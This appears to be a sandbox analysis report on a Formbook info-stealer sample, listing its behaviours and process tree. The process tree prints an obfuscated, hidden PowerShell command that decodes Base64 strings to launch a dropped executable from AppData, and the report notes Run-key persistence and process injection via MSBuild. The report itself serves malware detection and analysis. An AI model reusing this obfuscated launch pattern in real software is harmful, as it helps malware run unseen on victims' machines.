Analysis
- max time kernel
149s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/08/2026, 03:48
General
- Target 2310edc144179d254585b7e7ce434884cf7b497235f7eb0331f28110cdc97373.exe
- Size 1.1MB
- Sample260818-ec57ysvhpg
- SHA256 2310edc144179d254585b7e7ce434884cf7b497235f7eb0331f28110cdc97373
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2310edc144179d254585b7e7ce434884cf7b497235f7eb0331f28110cdc97373.exe"C:\Users\Admin\AppData\Local\Temp\2310edc144179d254585b7e7ce434884cf7b497235f7eb0331f28110cdc97373.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$3qgqwk=Get-Date;$unwk1w=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$lxsvoq=[System.Environment]::TickCount;$i0alnx=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEhRbEt5ci5leGU=')));$m03eur=2986;& $unwk1w -FilePath $i0alnx"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\HQlKyr.exe"C:\Users\Admin\AppData\Roaming\HQlKyr.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
HQlKyr.exe
memory/3416-16-0x00007FF89765F000-0x00007FF897660000-memory.dmp
memory/3416-30-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-27-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-26-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-25-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-24-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-23-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-21-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-22-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3416-20-0x0000020828CF0000-0x0000020828D12000-memory.dmp
memory/3416-19-0x00007FF8974D0000-0x00007FF897E74000-memory.dmp
memory/3888-7-0x0000000005B70000-0x0000000005B94000-memory.dmp
memory/3888-0-0x0000000074612000-0x0000000074613000-memory.dmp
memory/3888-14-0x0000000074600000-0x0000000074DBC000-memory.dmp
memory/3888-1-0x0000000000DC0000-0x0000000000EDA000-memory.dmp
memory/3888-2-0x0000000005F90000-0x000000000654A000-memory.dmp
memory/3888-11-0x0000000007220000-0x0000000007308000-memory.dmp
memory/3888-10-0x0000000074600000-0x0000000074DBC000-memory.dmp
memory/3888-9-0x0000000074600000-0x0000000074DBC000-memory.dmp
memory/3888-8-0x0000000074612000-0x0000000074613000-memory.dmp
memory/3888-3-0x0000000005890000-0x0000000005922000-memory.dmp
memory/3888-6-0x0000000005A70000-0x0000000005B0C000-memory.dmp
memory/3888-5-0x0000000005950000-0x000000000595A000-memory.dmp
memory/3888-4-0x0000000074600000-0x0000000074DBC000-memory.dmp
memory/4876-13-0x0000000000C40000-0x0000000000C86000-memory.dmp
memory/4876-12-0x0000000000400000-0x0000000000446000-memory.dmp
memory/4876-15-0x0000000001320000-0x0000000001694000-memory.dmp
memory/4876-31-0x0000000000C40000-0x0000000000C86000-memory.dmp
memory/4876-33-0x0000000000C40000-0x0000000000C86000-memory.dmp